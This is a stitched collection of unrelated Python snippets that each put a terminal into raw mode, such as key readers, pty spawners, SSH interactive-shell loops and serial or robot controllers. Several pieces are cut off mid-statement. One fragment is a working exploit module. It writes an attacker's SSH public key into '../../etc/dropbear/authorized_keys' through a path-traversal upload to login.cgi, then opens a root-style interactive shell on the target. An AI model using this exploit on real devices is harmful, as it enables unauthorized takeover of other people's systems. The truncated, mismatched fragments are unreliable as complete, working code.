def Init(): global stdout_fd global stdin_fd stdout_fd = os.fdopen(sys.stdout.fileno(), 'w', 0) stdin_fd = os.fdopen(sys.stdin.fileno(), 'r', 0) tty.setraw(stdin_fd)
def getch(): try: tty.setraw(sys.stdin.fileno()) ch = sys.stdin.read(1) finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch
def spawn(argv, master_read=_read, stdin_read=_read): """Create a spawned process.""" if type(argv) == type(''): argv = (argv,) pid, master_fd = fork() if pid == CHILD: try: os.execlp(argv[0], *argv) except: # If we wanted to be really clever, we would use # the same method as subprocess() to pass the error # back to the parent. For now just dump stack trace. traceback.print_exc() finally: os._exit(1) try: mode = tty.tcgetattr(STDIN_FILENO) tty.setraw(STDIN_FILENO) restore = 1 except tty.error: # This is the same as termios.error restore = 0 try: _copy(master_fd, master_read, stdin_read) except OSError: # Some OSes never return an EOF on pty, just raise # an error instead. pass finally: if restore: tty.tcsetattr(STDIN_FILENO, tty.TCSAFLUSH, mode) os.close(master_fd) return os.waitpid(pid, 0)[1]
def Connect(self): self.file = open_rfcomm(self.port, os.O_RDWR) tty.setraw(self.file) attrs = termios.tcgetattr(self.file) attrs[0] &= ~(termios.IGNCR | termios.ICRNL | termios.IUCLC | termios.INPCK | termios.IXON | termios.IXANY | termios.IGNPAR) attrs[1] &= ~(termios.OPOST | termios.OLCUC | termios.OCRNL | termios.ONLCR | termios.ONLRET) attrs[3] &= ~(termios.ICANON | getattr(termios, 'XCASE', 4) | termios.ECHO | termios.ECHOE | termios.ECHONL) attrs[3] &= ~(termios.ECHO | termios.ECHOE) attrs[6][termios.VMIN] = 1 attrs[6][termios.VTIME] = 0 attrs[6][termios.VEOF] = 1 attrs[2] &= ~(termios.CBAUD | termios.CSIZE | termios.CSTOPB | termios.CLOCAL | termios.PARENB) attrs[2] |= (termios.B9600 | termios.CS8 | termios.CREAD | termios.PARENB) termios.tcsetattr(self.file, termios.TCSANOW, attrs) termios.tcflush(self.file, termios.TCIOFLUSH) self.send_commands()
def setup_tty_for_pty(func): """ Sets up tty for raw mode while retaining original tty settings and then starts the reactor to connect to the pty. Upon exiting pty, restores original tty settings. :param func: The callable to run after the tty is ready, such as ``reactor.run`` """ # Preserve original tty settings stdin_fileno = sys.stdin.fileno() old_ttyattr = tty.tcgetattr(stdin_fileno) try: # Enter raw mode on the local tty. tty.setraw(stdin_fileno) raw_ta = tty.tcgetattr(stdin_fileno) raw_ta[tty.LFLAG] |= tty.ISIG raw_ta[tty.OFLAG] |= tty.OPOST | tty.ONLCR # Pass ^C through so we can abort traceroute, etc. raw_ta[tty.CC][tty.VINTR] = '\x18' # ^X is the new ^C # Ctrl-Z is used by a lot of vendors to exit config mode raw_ta[tty.CC][tty.VSUSP] = 0 # disable ^Z tty.tcsetattr(stdin_fileno, tty.TCSANOW, raw_ta) # Execute our callable here func() finally: # Restore original tty settings tty.tcsetattr(stdin_fileno, tty.TCSANOW, old_ttyattr)
def _connectSSHLocal(self, hostname, username, passwd): sshcmd = [self.ssh_bin, '%s@%s' % (username, hostname)] if self.ssh_extraopt: sshcmd += self.ssh_extraopt.split() self.addStringToClipboard(passwd) pid, self.remote_fd = pty.fork() if pid == pty.CHILD: os.execlp(sshcmd[0], *sshcmd) try: mode = tty.tcgetattr(pty.STDIN_FILENO) tty.setraw(pty.STDIN_FILENO) restore = True except tty.error: restore = False signal.signal(signal.SIGWINCH, self._winchHandler) self._setRemoteTTYSize(self.remote_fd) self._setTerminalTitle('%s@%s' % (username, hostname)) try: self._copySSHData(self.remote_fd, passwd) except (IOError, OSError): pass except: if restore: tty.tcsetattr(pty.STDIN_FILENO, tty.TCSAFLUSH, mode) raise if restore: tty.tcsetattr(pty.STDIN_FILENO, tty.TCSAFLUSH, mode) signal.signal(signal.SIGWINCH, signal.SIG_DFL) os.close(self.remote_fd)
def main (): signal.signal (signal.SIGCHLD, signal_handler) pid, fd = pty.fork() if pid == 0: os.write (sys.stdout.fileno(), 'This is a test.\nThis is a test.') time.sleep(10000) nonblock (fd) tty.setraw(fd) #STDIN_FILENO) print 'Sending SIGKILL to child pid:', pid time.sleep(2) os.kill (pid, signal.SIGKILL) print 'Entering to sleep...' try: time.sleep(2) except: print 'Sleep interrupted' try: os.kill(pid, 0) print '\tChild is alive. This is ambiguous because it may be a Zombie.' except OSError as e: print '\tChild appears to be dead.' # print str(e) print print 'Reading from master fd:', os.read (fd, 1000)
def inkey(): fd=sys.stdin.fileno() remember_attributes=termios.tcgetattr(fd) tty.setraw(sys.stdin.fileno()) character=sys.stdin.read(inkey_buffer) termios.tcsetattr(fd, termios.TCSADRAIN, remember_attributes) return character
def getch(): "Returns a single character" if getch.platform is None: try: # Window's python? import msvcrt getch.platform = 'windows' except ImportError: # Fallback... try: import tty, termios fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) getch.platform = 'unix' except termios.error: getch.platform = 'dumb' if getch.platform == 'windows': import msvcrt return msvcrt.getch() elif getch.platform == 'unix': import tty, termios fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) try: tty.setraw(sys.stdin.fileno()) ch = sys.stdin.read(1) finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch else: return sys.stdin.read(1).strip().lower()
def run(self, cd_path=None, action_name=None, parameters=None, open_scp_shell=False): """ Run main event loop. """ if action_name and open_scp_shell: raise Exception("Don't provide 'action_name' and 'open_scp_shell' at the same time") # Set stdin non blocking and raw tcattr = termios.tcgetattr(sys.stdin.fileno()) tty.setraw(sys.stdin.fileno()) # Report size self._send_size() self.socket.sendall(pickle.dumps(('_start-interaction', { 'cd_path': cd_path, 'action_name': action_name, 'parameters': parameters, 'open_scp_shell': open_scp_shell, 'term_var': os.environ.get('TERM', 'xterm'), # xterm, vt100, xterm-256color }))) self._read_loop() # Reset terminal state termios.tcsetattr(sys.stdin, termios.TCSAFLUSH, tcattr) # Put the cursor again at the left margin. sys.stdout.write('\r\n') # Set exit status sys.exit(self.exit_status)
def _posix_shell(self, chan): import select oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) # needs to be sent to give vim correct size FIX chan.send('eval $(resize)\n') while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = chan.recv(1024) if len(x) == 0: print '\r\n*** EOF\r\n', break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: # fixes up arrow problem x = os.read(sys.stdin.fileno(), 1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def drawMap(x, y, wallNorth, wallSouth, wallEast, wallWest, tries, compassRemaining, pokedSpots, monsterPos): termios.tcsetattr(sys.stdin.fileno(), termios.TCSANOW, origSettings) sys.stdout.flush() if os.name == 'nt': os.system('cls') else: os.system('clear') sys.stdout.write('WELCOME TO THE BOX! (h = help)\n\n') sys.stdout.write(('=' * (wallEast - wallWest + 2)) + '\n') for mapY in range(wallNorth - wallSouth, -1, -1): if False and mapY != y: # Quick path, we are not on this line. sys.stdout.write('|' + (' ' * (wallEast - wallWest)) + '|\n') else: sys.stdout.write('|') for mapX in range(wallEast - wallWest): # Monster on top, then you, then poked spots, then blank spot if [mapX, mapY] == monsterPos: sys.stdout.write('@') elif mapX == x and mapY == y: sys.stdout.write('*') elif (mapX, mapY) in pokedSpots: sys.stdout.write('X') else: sys.stdout.write(' ') sys.stdout.write('|\n') sys.stdout.write(('=' * (wallEast - wallWest + 2)) + '\n') sys.stdout.write('Pokes(p): %d\tCompass(c): %d\nPos: (%d, %d)\n%s\n\n' %(tries, compassRemaining, x, y, '-' * 20)) sys.stdout.write('\n\n%s\n' %(lastMsg,)) sys.stdout.flush() tty.setraw(sys.stdin)
def getch(): """getch() for Windows and Linux. This won't work unless run from a terminal. """ # this must be executed from a terminal if not is_executed_from_console(): system_exit("libastyle.getch() must be run from the console") # WINDOWS uses msvcrt if os.name == "nt": # clear buffer while msvcrt.kbhit(): msvcrt.getch() # read char ch_in = msvcrt.getch() # LINUX uses termios and tty else: # clear buffer sys.stdin.flush() # read char fd_in = sys.stdin.fileno() old_settings = termios.tcgetattr(fd_in) try: tty.setraw(sys.stdin.fileno()) ch_in = sys.stdin.read(1) if ch_in == '\x1b': # alt key (27) ch_in = sys.stdin.read(1) finally: termios.tcsetattr(fd_in, termios.TCSADRAIN, old_settings) # convert to unicode for Python 3 return ch_in.decode('utf-8')
def getKey(): '''get key press (from example code)''' tty.setraw(sys.stdin.fileno()) select.select([sys.stdin], [], [], 0) key = sys.stdin.read(1) termios.tcsetattr(sys.stdin, termios.TCSADRAIN, settings) return key
def interactive(self, prompt = pwn.text.boldred('$') + ' '): '''Turns the channel into an interactive session (that is, it connects stdin and stdout to the channel).''' import sys, tty, termios, select if not self._tty: basechatter.interactive(self, prompt) return fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) tty.setraw(fd) try: while True: reads, _, _ = select.select([sys.stdin.fileno(), self._channel.fileno()], [], [], 0.05) while self._channel.recv_ready(): dat = self.recv() sys.stdout.write(dat) sys.stdout.flush() if self._channel.exit_status_ready(): if not self._channel.recv_ready(): break elif sys.stdin.fileno() in reads: dat = sys.stdin.read(1) # Break if ctrl+] is hit if dat == '\x1d': sys.stdout.write('\r\n') sys.stdout.flush() break self.send(dat) finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
def interact(self): """ doesn't work remotely with rpyc. use read_loop and write instead """ try: fd=sys.stdin.fileno() f=os.fdopen(fd,'r') old_settings = termios.tcgetattr(fd) try: tty.setraw(fd) while True: r, w, x = select.select([sys.stdin, self.master], [], [], 0.1) if self.master in r: data=self.master.read(50) sys.stdout.write(data) sys.stdout.flush() if sys.stdin in r: data=sys.stdin.read(1) self.master.write(data) self.prog.poll() if self.prog.returncode is not None: sys.stdout.write("\n") break finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) finally: self.close()
def interactive_shell(chan): """stolen from paramiko examples""" oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = chan.recv(1024) if len(x) == 0: break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def get_key(self): tty.setraw(sys.stdin.fileno()) select.select([sys.stdin], [], [], 0) key = sys.stdin.read(1) termios.tcsetattr(sys.stdin, termios.TCSADRAIN, self._settings) return key
def getch(timeout=0.01): """ Retrieves a character from stdin. Returns None if no character is available within the timeout. Blocks if timeout < 0. """ # If this is being piped to, ignore non-blocking functionality if not sys.stdin.isatty(): return sys.stdin.read(1) fileno = sys.stdin.fileno() old_settings = termios.tcgetattr(fileno) ch = None try: tty.setraw(fileno) rlist = [fileno] if timeout >= 0: [rlist, _, _] = select(rlist, [], [], timeout) if fileno in rlist: ch = sys.stdin.read(1) except Exception as ex: print "getch", ex raise OSError finally: termios.tcsetattr(fileno, termios.TCSADRAIN, old_settings) return ch
def posix_shell(chan): import select oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = u(chan.recv(1024)) if len(x) == 0: sys.stdout.write('\r\n*** EOF\r\n') break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def geolocation(): sys.stdout.write('\x1b[?99n') sys.stdout.flush() fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) try: tty.setraw(sys.stdin.fileno()) rv = sys.stdin.read(1) if rv != '\x1b': raise rv = sys.stdin.read(1) if rv != '[': raise rv = sys.stdin.read(1) if rv != '?': raise loc = '' while rv != 'R': rv = sys.stdin.read(1) if rv != 'R': loc += rv except Exception: return finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) if not loc or ';' not in loc: return return tuple(map(float, loc.split(';')))
def initRobot(args): serial = None port = args.serialport try: serial = open( port, 'r+' ) except IOError: print "robot not connected?" exit(1) tty.setraw(serial); if args.home: serial.write("c") readResponse(args,serial,0) #speed and pwm serial.write("p%d,%d" % (args.speed, args.pwm )) readResponse(args,serial) #ms serial.write("i%d,%d" % (MS0, MS1 )) readResponse(args,serial) #where are we serial.write("q") readResponse(args,serial) return serial
def spawn(self, argv=None): ''' Create a spawned process. Based on the code for pty.spawn(). ''' assert self.master_fd is None if not argv: argv = [os.environ['SHELL']] pid, master_fd = pty.fork() self.master_fd = master_fd if pid == pty.CHILD: os.execlp(argv[0], *argv) old_handler = signal.signal(signal.SIGWINCH, self._signal_winch) try: mode = tty.tcgetattr(pty.STDIN_FILENO) tty.setraw(pty.STDIN_FILENO) restore = 1 except tty.error: # This is the same as termios.error restore = 0 self._init_fd() try: self._copy() except (IOError, OSError): if restore: tty.tcsetattr(pty.STDIN_FILENO, tty.TCSAFLUSH, mode) os.close(master_fd) self.master_fd = None signal.signal(signal.SIGWINCH, old_handler) self._set_pty_size()
def myinput(timeout=0): ESCSEQ = b'\x1b[' tty.setraw(stdin.fileno()) #stdout = os.fdopen(stdin.fileno(), 'wb', 0) special = False while True: rlist, wlist, xlist = select([stdin], [], [], 0) ch = os.read(stdin.fileno(), 1) ch = ch.decode() if ch == '\x1b': if special: yield ESC else: special = True elif ch == '[': if not special: yield ch else: if special: special = False if ch == 'A': yield UP elif ch == 'B': yield DOWN elif ch == 'C': yield RIGHT elif ch == 'D': yield LEFT else: yield ch
def interact(self): os.write(self.fd, self.readbuffer) old = termios.tcgetattr(self.fd) new = termios.tcgetattr(self.fd) new[3] = new[3] & ~termios.ECHO try: tty.setraw(self.fd) while True: try: rd, wd, ed = select.select([self.ptyfd, self.fd], [], []) except select.error as e: if e.args[0] == 4: continue else: raise for i in rd: if i == self.ptyfd: s = os.read(i, 1024) os.write(self.fd, s) elif i == self.fd: s = os.read(i, 1024) os.write(self.ptyfd, s) except OSError as e: if e.errno == 5: # 使用 print() 会导致下一个 Python 提示符位置不对 os.write(self.fd, '已结束。\r\n'.encode()) else: raise finally: termios.tcsetattr(self.fd, termios.TCSADRAIN, old)
def interactive_shell(self, chan): sys.stdout.flush() try: signal.signal(signal.SIGHUP, self._session.kill_session) oldtty = termios.tcgetattr(sys.stdin) tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = chan.recv(1024) if len(x) == 0: break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: break if sys.stdin in r: x = os.read(sys.stdin.fileno(), 1) if len(x) == 0: break chan.send(x) termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) except Exception as e: logger.error(e.message) raise e
def shell(self): """Open a shell.""" # Make sure we can restore the terminal to a working state after # interactive stuff is over oldtty = None try: oldtty = termios.tcgetattr(self.input.fileno()) # Set tty mode to raw - this is a bit dangerous because it stops # Ctrl+C working! But that is required so that you can Ctrl+C # remote things tty.setraw(self.input.fileno()) # For testing you could use cbreak mode - here Ctrl+C will kill the # local yaybu instance but otherwise is quite like raw mode # tty.setcbreak(self.input.fileno()) # We want non-blocking mode, otherwise session might hang # This might cause socket.timeout exceptions, which we just ignore # for read() operations self.channel.settimeout(0.0) self.handle_communications() except Exception, e: LOG.warn(e, exc_info=True)
def posix_shell(chan): """ POSIX shell implementation for proxied SSH. Lifted from Paramiko examples. """ import select oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = chan.recv(1024) if len(x) == 0: print '\r\n*** EOF\r\n', break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def interactive(self, command, *args, **options): import termios import tty with self._get_chan(options.pop('get_pty', False)) as chan: with self._forward_agent(chan): with timeout(self._timeout): command = self._format_command(command, args, options) chan.get_pty() oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) chan.exec_command(command) while True: rlist = select.select([chan, sys.stdin], [], [])[0] if chan in rlist: try: data = self._manage_encoding(chan.recv(1024)) if len(data) == 0: break sys.stdout.write(data) sys.stdout.flush() except socket.timeout: pass if sys.stdin in rlist: data = sys.stdin.read(1) if len(data) == 0: break chan.send(data) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def getch(): sys.stdout.flush() fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) tty.setraw(sys.stdin.fileno()) ch = sys.stdin.read(1) termios.tcsetattr(fd, termios.TCSANOW, old_settings)
print ('Volume attached to {0} not found'.format(args.name)) sys.exit(1) if Disk(conn, pool).download_vol(vol, args.image): sys.exit(0) else: sys.exit(1) # Console section if args.sub == 'console': try: dom = conn.lookupByName(args.name) except libvirt.libvirtError: sys.exit(1) atexit.register(reset_term) attrs = termios.tcgetattr(0) tty.setraw(0) stream = conn.newStream(libvirt.VIR_STREAM_NONBLOCK) try: dom.openConsole(None, stream, 0) except libvirt.libvirtError: sys.exit(1) print ('Escape character is ^] press Enter') run_console = True stdin_watch = libvirt.virEventAddHandle( 0, libvirt.VIR_EVENT_HANDLE_READABLE, stdin_callback, None) stream.eventAddCallback(libvirt.VIR_STREAM_EVENT_READABLE, stream_callback, None) while run_console: libvirt.virEventRunDefaultImpl()
def init_tty(device): Editor.org_termios = termios.tcgetattr(device) tty.setraw(device) Editor.sdev = device Editor.winch = False
def getKey(): tty.setraw(sys.stdin.fileno()) select.select([sys.stdin], [], [], 0) key = sys.stdin.read(1) termios.tcsetattr(sys.stdin, termios.TCSADRAIN, settings) return key
def attach_interactive( self, end_magic: typing.Union[str, bytes, None] = None ) -> None: """ Connect tbot's terminal to this channel. Allows the user to interact directly with whatever this channel is connected to. :param str, bytes end_magic: String that when read should end the interactive session. """ end_magic_bytes = ( end_magic.encode("utf-8") if isinstance(end_magic, str) else end_magic ) end_ring_buffer: typing.Deque[int] = collections.deque( maxlen=len(end_magic_bytes) if end_magic_bytes is not None else 1 ) previous: typing.Deque[int] = collections.deque(maxlen=3) oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) mode = termios.tcgetattr(sys.stdin) special_chars = mode[6] assert isinstance(special_chars, list) special_chars[termios.VMIN] = b"\0" special_chars[termios.VTIME] = b"\0" termios.tcsetattr(sys.stdin, termios.TCSAFLUSH, mode) self._interactive_setup() while True: r, _, _ = select.select([self, sys.stdin], [], []) if self in r: data = self.recv() if isinstance(end_magic_bytes, bytes): end_ring_buffer.extend(data) for a, b in itertools.zip_longest( end_ring_buffer, end_magic_bytes ): if a != b: break else: break sys.stdout.buffer.write(data) sys.stdout.buffer.flush() if sys.stdin in r: data = sys.stdin.buffer.read(4096) previous.extend(data) if end_magic is None and data == b"\x04": break for a, b in itertools.zip_longest(previous, b"\r~."): if a != b: break else: break self.send(data) sys.stdout.write("\r\n") finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) self._interactive_teardown()
import tty import sys import termios import keyboard import serial import time orig_settings = termios.tcgetattr(sys.stdin) arduino = serial.Serial('/dev/ttyACM0', 9600) time.sleep(2) tty.setraw(sys.stdin) x = 0 while x != chr(27): # ESC x=sys.stdin.read(1)[0] #print(sys.stdin.read(1)) sys.stdout.flush() #print("You pressed", x) if x == 'w': #print('You Pressed w!') #time.sleep(1) arduino.write('W'.encode()) #time.sleep(0.1) elif x == 'a': #print('You Pressed a!') #time.sleep(1) arduino.write('A'.encode()) #time.sleep(0.05) elif x == 's': #print('You Pressed s!') #time.sleep(1)
def print_command_menu(): show_comments = True show_commands = True #rows, columns = os.popen('stty size', 'r').read().split() term = shutil.get_terminal_size((80, 20)) term_width = term.columns term_height = term.lines # We assign the optimal width for each field if global_vars.max_keys_width < 6: keys_field_width = 6 # len("Id(s):") else: keys_field_width = global_vars.max_keys_width +1 # +1 is for ':' if global_vars.max_comment_width == 0: comment_field_width = 0 # comment column is not gowing to be displayed show_comments = False elif global_vars.max_comment_width < 9: comment_field_width = 9 # len(" Comment ") else: comment_field_width = global_vars.max_comment_width +2 # +2 is for space at beginning and end of comment if global_vars.max_command_width < 8: command_field_width = 9 # len("> Command") else: command_field_width = global_vars.max_command_width + 2 # +2 is for '> ' at beginning of command if options.debug: print('Terminal width:',term_width) print('Max widths: ', global_vars.max_keys_width,',',global_vars.max_comment_width,',',global_vars.max_command_width) print('Fields width: ', keys_field_width,',',comment_field_width,',',command_field_width) if keys_field_width + comment_field_width + command_field_width <= term_width : # The table colums fits into the terminal if options.debug: print('The table fits into the terminal') else: # though choice here about what to scrap if options.debug: print("The table doesn't fit into the terminal") if keys_field_width <= term_width : # we dispay all the keys (it fits) remaining_width = term_width - keys_field_width if comment_field_width == 0: # no comments. command_field_width = remaining_width else: # split the remaing space 30%/70% between comment/command comment_field_width = min( comment_field_width , remaining_width*3//10 ) if comment_field_width < 9: # Not useful to display the comment if column is too small comment_field_width = 0 show_comments = False remaining_width = remaining_width - comment_field_width if command_field_width > remaining_width: command_field_width = remaining_width else : # in this case the command_field does not take all of assigned 70%, the remaining space can be used by the comment field comment_field_width = term_width - keys_field_width - command_field_width show_comments = True if comment_field_width < 9: # Not useful to display the comment if column is too small comment_field_width = 0 show_comments = False else: # it is needed to cut into the keys field / comments and commands not displayed keys_field_width = term_width comment_field_width = 0 command_field_width = 0 show_commands = False show_comments = False if global_vars.max_comment_width == 0: show_comments = False comment_field_width = 0 print(term_mode.TITLEBLUE+adjust_width('Id(s)',keys_field_width-1),end=':') if show_comments: print(term_mode.TITLEGREEN+adjust_width(' Comment ',comment_field_width),end='') if show_commands: print(term_mode.TITLE+adjust_width('> Command',command_field_width)+term_mode.NORMAL) else: # return to next line and normal mode print(term_mode.NORMAL) printed_lines = 1 for (keys_list,comment,command) in data.commands.values() : if printed_lines == term_height-1 : # wait for more stdinFileDesc = sys.stdin.fileno() #store stdin's file descriptor oldStdinTtyAttr = termios.tcgetattr(stdinFileDesc) #save stdin's tty attributes so I can reset it later try: print(term_mode.TITLEBLUE + "-- More --" + term_mode.NORMAL,end="\r") os.system('setterm -cursor off') tty.setraw(stdinFileDesc) #set the input mode of stdin so that it gets added to char by char rather than line by line char = sys.stdin.read(1) #read 1 byte from stdin (indicating that a key has been pressed) if char == "q": if options.verbose: print('Exit') sys.exit(0) # or 1, or whatever finally: termios.tcsetattr(stdinFileDesc, termios.TCSADRAIN, oldStdinTtyAttr) #reset stdin to its normal behavior os.system('setterm -cursor on') #print("\r") # bring back the cursor at the beginning of the line (to remove "-- More --") printed_lines = 0 keys_str = '' for key in keys_list: keys_str += key + ',' keys_str = keys_str[:-1] keys_str = adjust_width(keys_str,keys_field_width -1) print(term_mode.BLUE+term_mode.BOLD + keys_str + ':',end=term_mode.NORMAL) if show_comments: comment = adjust_width(comment,comment_field_width -2) print(term_mode.GREEN+' '+comment,end=' ') if show_commands: command = adjust_width(command,command_field_width -2) print(term_mode.NORMAL+'> '+command) else: # return to next line print(term_mode.NORMAL) printed_lines += 1
def run(self): if self.check(): print_success('Target is vulnerable') print_success('Trying to exploit by uploading SSH public key') key = paramiko.RSAKey.generate(1024) public_key = key.get_base64() private_key = StringIO.StringIO() key.write_private_key(private_key) tmp_file_pubkey = tempfile.TemporaryFile() tmp_file_pubkey.write('ssh-rsa ' + public_key) tmp_file_pubkey.seek(0) upload_params = { 'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, { 'Expect': '' }) } upload_url = '{0}:{1}/login.cgi'.format(self.target, self.port) response = http_request(url=upload_url, method='POST', files=upload_params) if response is None: print_error( 'Something was wrong while uploading the SSH Public Key') return print_success('Appareantly the exploit worked fine') print_success('Trying to invoke a interactive SSH Shell') client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) pseudo_privkey_file = StringIO.StringIO(private_key.getvalue()) pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file) pseudo_privkey_file.close() ip_target = self.target.replace('https://', '') ip_target = ip_target.replace('http://', '') ip_target = ip_target.replace('/', '') client.connect(ip_target, 22, username='******', pkey=pkey) # invoking interactive shell chan = client.invoke_shell() oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = unicode(chan.recv(1024)) if len(x) == 0: sys.stdout.write('\r\nExiting...\r\n') break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) private_key.close() else: print_error('Target is not vulnerable')
def get_key(self): tty.setraw(sys.stdin.fileno()) select.select([sys.stdin], [], [], 0) key = sys.stdin.read(1) return key.lower()
def read_input(): nonlocal timestamp_en nonlocal timestamp_input_en if os.name == 'nt': from msvcrt import getch else: import tty import termios stdin_fd = sys.stdin.fileno() tty_attr = termios.tcgetattr(stdin_fd) tty.setraw(stdin_fd) getch = lambda: sys.stdin.read(1).encode() while device.is_open: ch = getch() # print(ch) if ch == b'\x1d': # 'ctrl + ]' to quit break if ch == b'\x0c': screen_clear() # 'ctrl + l' to clear screen if ch == b'\x14': # 'ctrl + t' to change timestamp status timestamp_en = bool(1 - timestamp_en) if ch == b'\x00' or ch == b'\xe0': # arrow keys' escape sequences for windows ch2 = getch() esc_dict = { b'H': b'A', b'P': b'B', b'M': b'C', b'K': b'D', b'G': b'H', b'O': b'F' } if ch2 in esc_dict: queue.append(b'\x1b[' + esc_dict[ch2]) else: queue.append(ch + ch2) timestamp_input_en = False else: queue.append(ch) if ch == b' ' or ch == b'\n' or ch == b'\r': timestamp_input_en = False elif ch == b'\x1b': # arrow keys' escape sequences for linux ch2 = getch() if ch2 == b'[': ch2 = getch() esc_dict = { b'A': b'A', b'B': b'B', b'C': b'C', b'D': b'D', b'H': b'H', b'F': b'F' } if ch2 in esc_dict: queue.append(b'[' + esc_dict[ch2]) else: queue.append(b'[' + ch2) else: queue.append(ch2) timestamp_input_en = False else: timestamp_input_en = True # print(queue) if os.name != 'nt': termios.tcsetattr(stdin_fd, termios.TCSADRAIN, tty_attr)
def move_cursor_one_line_up(self): termios.tcsetattr(sys.stdin, termios.TCSADRAIN, self.settings) print(u"\u008D\r"), tty.setraw(sys.stdin.fileno())
import sys, termios, tty stdinFileDesc = sys.stdin.fileno() #store stdin's file descriptor oldStdinTtyAttr = termios.tcgetattr( stdinFileDesc) #save stdin's tty attributes so I can reset it later try: print('Press any key to exit...') tty.setraw( stdinFileDesc ) #set the input mode of stdin so that it gets added to char by char rather than line by line sys.stdin.read( 1) #read 1 byte from stdin (indicating that a key has been pressed) finally: termios.tcsetattr(stdinFileDesc, termios.TCSADRAIN, oldStdinTtyAttr) #reset stdin to its normal behavior print('Goodbye!')
def set_raw(self): """Enter raw terminal mode (no echo, don't exit on ctrl-C, ...).""" tty.setraw(sys.stdin.fileno())
def loginfo(self, str): termios.tcsetattr(sys.stdin, termios.TCSADRAIN, self.settings) print(str) tty.setraw(sys.stdin.fileno())
robot = "in10" client = mosquitto.Mosquitto("status") client.connect("192.168.1.72") client.publish("status", "action " + robot) time.sleep(0.05) while True: try: # CODE FOR LINUX fd = sys.stdin.fileno() # save original terminal settings old_settings = termios.tcgetattr(fd) # change terminal settings to raw read tty.setraw(sys.stdin.fileno()) aux = sys.stdin.read(1) if aux == "w": msg = pack('iii', 70, 70, 0) client.publish(robot, msg) elif aux == "a": msg = pack('iii', -17, 17, 0) client.publish(robot, msg) elif aux == "d": msg = pack('iii', 17, -17, 0) client.publish(robot, msg) elif aux == " ": msg = pack('iii', 0, 0, 0) client.publish(robot, msg)
def receive_data(stderr=False, verbose=False): """Receive from client via stdin, returning (errmsg, headers, content)""" saved_stdin = sys.stdin.fileno() saved_settings = termios.tcgetattr(saved_stdin) try: # Raw tty input without echo tty.setraw(saved_stdin) line = "" header_line = "" header_start = False while True: ch = sys.stdin.read(1) if ch == "\x03" or ch == "\x04": # ^C/^D return ("Interrupted", None, None) if not header_start: if ch == "{": header_start = True line = ch continue if ch != "\n": line += ch continue if line: header_line += line line = "" else: # Terminal null line break if verbose and not stderr: print >> sys.stderr, "header=%s\n" % (header_line, ) # Process headers if not header_line: return ("No headers", None, None) headers = json.loads(header_line) content_type = headers.get("content_type", "") if content_type.startswith("none/"): return ("Null content", None, None) if "x_gterm_length" not in headers: return ("No expected length", None, None) expect_length = headers["x_gterm_length"] if verbose and not stderr: print >> sys.stderr, "type=%s, expect_len=%s\n" % (content_type, expect_length) if not expect_length: return ("", headers, "") md5_digest = headers.get("x_gterm_digest", "") count = expect_length assert not (count % 4) prefix = "" content_list = [] digest_buf = hashlib.md5() while count > 0: chunk = sys.stdin.read(min(count, CHUNK_BYTES)) assert chunk count = count - len(chunk) line = prefix + chunk prefix = "" offset = len(line) % 4 if offset: prefix = line[-offset:] line = line[:-offset] 